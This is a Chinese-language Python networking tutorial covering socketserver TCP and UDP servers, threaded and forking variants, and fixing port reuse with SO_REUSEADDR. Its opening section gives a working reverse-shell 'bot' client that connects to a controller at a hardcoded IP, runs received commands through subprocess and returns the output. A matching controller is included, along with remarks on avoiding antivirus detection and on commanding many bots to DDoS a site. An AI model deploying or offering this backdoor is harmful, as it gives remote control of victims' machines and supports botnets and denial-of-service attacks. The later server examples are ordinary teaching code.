萬物互聯之~網路程式設計中篇
加強篇¶
1.引入¶
ShellCode¶
上節寫了個埠掃描器,這次寫個ShellCode
回顧下上節內容
肉雞端:
#!/usr/bin/env python3 import sys import subprocess from socket import socket def exec(cmd): try: process = subprocess.Popen([cmd], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) return process.communicate() except Exception as ex: print(ex) def main(): # 不寫死是防止遠端伺服器被封后就失效 ip = "192.168.1.109" or sys.argv[1] with socket() as tcp_socket: # 連線遠控伺服器 tcp_socket.connect((ip, 8080)) while True: data = tcp_socket.recv(2048) if data: cmd = data.decode("utf-8") stdout, stderr = exec(cmd) if stderr: tcp_socket.send(stderr) if stdout: tcp_socket.send(stdout) if __name__ == "__main__": main()
服務端:
from socket import socket def main(): with socket() as tcp_socket: tcp_socket.bind(('', 8080)) tcp_socket.listen() client_socket, client_addr = tcp_socket.accept() with client_socket: print(f"[肉雞{client_addr}已經上線:]\n") while True: cmd = input("$ ") client_socket.send(cmd.encode("utf-8")) data = client_socket.recv(2048) if data: print(data.decode("utf-8")) if __name__ == "__main__": main()
演示效果:
可能有人會說,肉雞設定為Server,自己遠控登入貌似更簡單吧?但是有沒有想過:
- 客戶端越複雜,那麼被查殺的可能就越大
- 如果你肉雞無數,現在需要DDOS某站。你是全部連線併發送指令方便,還是直接一條指令全部執行方便?
課後拓展:
如何建立反向Shell來執行遠端Root命令
http://os.51cto.com/art/201312/424378.htm
擴充套件¶
- 獲取網站的IP:
- socket.gethostbyname("網站URL")
- 返回主機的真實主機名,別名列表和IP地址列表
- socket.gethostbyname_ex
2.更便捷的服務端實現方法¶
上節留下了一個懸念:有沒有更方便的方式來實現服務端?這次揭曉一下:
Python底層其實基於Select
實現了一套SocketServer
,下面來看看:(現在大部分都是epoll
和aio
)
SocketServer
官方圖示以及一些常用方法:
+------------+ | BaseServer | +------------+ | v +-----------+ +------------------+ | TCPServer |------->| UnixStreamServer | +-----------+ +------------------+ | v +-----------+ +--------------------+ | UDPServer |------->| UnixDatagramServer | +-----------+ +--------------------+ __all__ = ["BaseServer", "TCPServer", "UDPServer", "ThreadingUDPServer", "RequestHandler", "BaseRequestHandler", "StreamRequestHandler", "DatagramRequestHandler", "ThreadingMixIn"]
TCP¶
基礎案例¶
Python全部封裝好了,只要繼承下BaseRequestHandler
自己定義一下handle
處理方法即可:
from socketserver import BaseRequestHandler, TCPServer class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send(b'HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Test</h1>') def main(): with TCPServer(('', 8080), MyHandler) as server: server.serve_forever() # 期待伺服器並執行自定義的Handler方法 # 不啟動也可以使用client_socket, client_address = server.get_request()來自定義處理 if __name__ == "__main__": main()
效果如下:
擴充套件案例¶
換個處理器也是很方便的事情,比如這個類檔案IO的案例:
SocketServer.StreamRequestHandler
中對客戶端發過來的資料是用rfile
屬性來處理的,rfile
是一個類file物件
.有緩衝.可以按行分次讀取;發往客戶端的資料通過wfile
屬性來處理,wfile
不緩衝資料,對客戶端傳送的資料需一次性寫入.
伺服器:
from time import sleep from socketserver import TCPServer, StreamRequestHandler class MyHandler(StreamRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]\n") # 接受來自客戶端的IO流( 類似於開啟IO,等待對方寫) # self.rfile = self.request.makefile('rb', self.rbufsize) for line in self.rfile: # 阻塞等 print(f"接受到的資料:{line}") # 傳送給客戶端(類似於寫給對方) self.wfile.write(line) sleep(0.2) # 為了演示方便而加 def main(): with TCPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main()
客戶端:
from time import sleep from socket import socket, SOL_SOCKET, SO_REUSEADDR def main(): with socket() as tcp_socket: tcp_socket.connect(('', 8080)) with open("1.tcp.py", "rb") as fs: while True: data = fs.readline() if data: tcp_socket.send(data) else: break while True: data = tcp_socket.recv(2048) if data: print(data.decode("utf-8")) sleep(0.2) # 為了演示方便而加 if __name__ == "__main__": main()
輸出:(一行一行顯示出來)
其實還可以通過設定其他的類變數來支援一些新的特性:
import socket from socketserver import TCPServer, StreamRequestHandler class MyHandler(StreamRequestHandler): # 可選設定(下面的是預設值) timeout = 5 # 所有socket超時時間 rbufsize = -1 # 讀緩衝區大小 wbufsize = 0 # 寫緩衝區大小 disable_nagle_algorithm = False # 設定TCP無延遲選項 def handle(self): print(f"[來自{self.client_address}的訊息:]\n") # 接受來自客戶端的IO流(類似於開啟IO,等待對方寫) try: for line in self.rfile: # 阻塞等 print(f"接受到的資料:{line}") # 傳送給客戶端(類似於寫給對方) self.wfile.write(line) except socket.timeout as ex: print("---" * 10, "網路超時", "---" * 10) print(ex) print("---" * 10, "網路超時", "---" * 10) def main(): with TCPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main()
效果:
業餘拓展:
http://a564941464.iteye.com/blog/1170464
https://www.cnblogs.com/txwsqk/articles/2909546.html
https://blog.csdn.net/tycoon1988/article/details/39990403
https://hg.python.org/cpython/file/tip/Lib/socketserver.py
加強案例¶
上面說的方法是最基礎的,也是單執行緒的,對於現在這個高併發的時代肯定是吃不消的,那有沒有併發模式的呢?
先結合以前併發程式設計來個案例:(改成多程序也行,Nginx
就是多程序的)
from multiprocessing.dummy import threading from socketserver import TCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send( "HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server</h1>".encode("utf-8")) if __name__ == "__main__": with TCPServer(('', 8080), MyHandler) as server: for _ in range(10): # 指定執行緒數 t = threading.Thread(target=server.serve_forever) t.setDaemon(True) t.start() server.serve_forever()
使用Python封裝的方法:(還記得開頭貼的一些方法名和類名嗎?__all__ = [...]
)
多執行緒版:(變TCPServer
為ThreadingTCPServer
)
from socketserver import ThreadingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send( "HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Threading</h1>".encode("utf-8")) if __name__ == "__main__": with ThreadingTCPServer(('', 8080), MyHandler) as server: server.serve_forever()
多程序版:(變TCPServer
為ForkingTCPServer
)
from socketserver import ForkingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]\n") data = self.request.recv(2048) if data: print(data.decode("utf-8")) self.request.send( "HTTP/1.1 200 ok\r\n\r\n<h1>TCP Server Forking</h1>".encode("utf-8")) if __name__ == "__main__": with ForkingTCPServer(('', 8080), MyHandler) as server: server.serve_forever()
雖然簡單了,但是有一個注意點:
使用fork或執行緒伺服器有個潛在問題就是它們會為每個客戶端連線建立一個新的程序或執行緒。 由於客戶端連線數是沒有限制的,DDOS可能就需要注意了
如果你擔心這個問題,你可以建立一個預先分配大小的工作執行緒池或程序池。你先建立一個普通的非執行緒伺服器,然後在一個執行緒池中使用
serve_forever()
方法來啟動它們(也就是我們一開始結合併發程式設計舉的例子
)
UDP¶
UDP的就簡單提一下,來看個簡單案例:
伺服器:
from socketserver import UDPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]\n") data, socket = self.request with socket: if data: print(data.decode("utf-8")) socket.sendto("行啊,小張晚上我請你吃~".encode("utf-8"), self.client_address) def main(): with UDPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main()
客戶端:
from socket import socket, AF_INET, SOCK_DGRAM def main(): with socket(AF_INET, SOCK_DGRAM) as udp_socket: udp_socket.sendto("小明,今晚去喝碗羊肉湯?".encode("utf-8"), ('', 8080)) data, addr = udp_socket.recvfrom(1024) print(f"[來自{addr}的訊息:]\n") if data: print(data.decode("utf-8")) if __name__ == "__main__": main()
演示:(想要多執行緒或者多程序就自己改下名字即可,很簡單)
手寫伺服器¶
上面使用了Python
幫我們封裝的伺服器,現在手寫一個簡單版的Server
:
from socket import socket def main(): with socket() as tcp_socket: # 繫結埠 tcp_socket.bind(('', 8080)) # 監聽 tcp_socket.listen() # 等待 client_socket, client_address = tcp_socket.accept() # 收發資料 with client_socket: print(f"[來自{client_address}的訊息:\n") msg = client_socket.recv(2048) if msg: print(msg.decode("utf-8")) client_socket.send( """HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>哈哈哈</h1>""" .encode("utf-8")) if __name__ == "__main__": main()
伺服器響應:(請求頭就靠\r\n\r\n
來分隔了)
瀏覽器請求:(charset=utf-8
)
擴充套件:Linux埠被佔用的解決¶
手寫版解決¶
from socket import socket, SOL_SOCKET, SO_REUSEADDR def main(): with socket() as tcp_socket: # 防止端口占用 tcp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) # 繫結埠 tcp_socket.bind(('', 8080)) # 監聽 tcp_socket.listen() # 等待 client_socket, client_address = tcp_socket.accept() # 收發訊息 with client_socket: print(f"[來自{client_address}的訊息:\n") msg = client_socket.recv(2048) if msg: print(msg.decode("utf-8")) client_socket.send( """HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>哈哈哈</h1>""" .encode("utf-8")) if __name__ == "__main__": main()
伺服器版解決¶
from socket import SOL_SOCKET, SO_REUSEADDR from socketserver import ThreadingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]") data = self.request.recv(2048) print(data) self.request.send( "HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>小明,晚上吃魚湯嗎?</h1>" .encode("utf-8")) def main(): # bind_and_activate=False 手動繫結和啟用 with ThreadingTCPServer(('', 8080), MyHandler, False) as server: # 防止端口占用 server.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) server.server_bind() # 自己繫結 server.server_activate() # 自己啟用 server.serve_forever() if __name__ == "__main__": main()
解決前:
解決後:
這個就涉及到TCP4次握手
相關的內容了,如果不是長連線,你先斷開客戶端,再斷開服務端就不會遇到這個問題了,具體問題下次繼續探討~
簡化擴充套件(推薦)¶
雖然簡化了,但有時候也會出現端口占用的情況(很少出現
)
from socket import SOL_SOCKET, SO_REUSEADDR from socketserver import ThreadingTCPServer, BaseRequestHandler class MyHandler(BaseRequestHandler): def handle(self): print(f"[來自{self.client_address}的訊息:]") data = self.request.recv(2048) print(data) self.request.send( "HTTP/1.1 200 ok\r\nContent-Type: text/html;charset=utf-8\r\n\r\n<h1>小明,晚上吃魚湯嗎?</h1>" .encode("utf-8")) def main(): # 防止端口占用 ThreadingTCPServer.allow_reuse_address = True with ThreadingTCPServer(('', 8080), MyHandler) as server: server.serve_forever() if __name__ == "__main__": main()
原始碼比較簡單,一看就懂:
def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True): BaseServer.__init__(self, server_address, RequestHandlerClass) self.socket = socket.socket(self.address_family, self.socket_type) if bind_and_activate: try: # 看這 self.server_bind() self.server_activate() except: self.server_close() raise def server_bind(self): # 看這 if self.allow_reuse_address: self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind(self.server_address) self.server_address = self.socket.getsockname()
下級預估:Linux 5種 IO模型
(這邊的Select
也是其中的一種)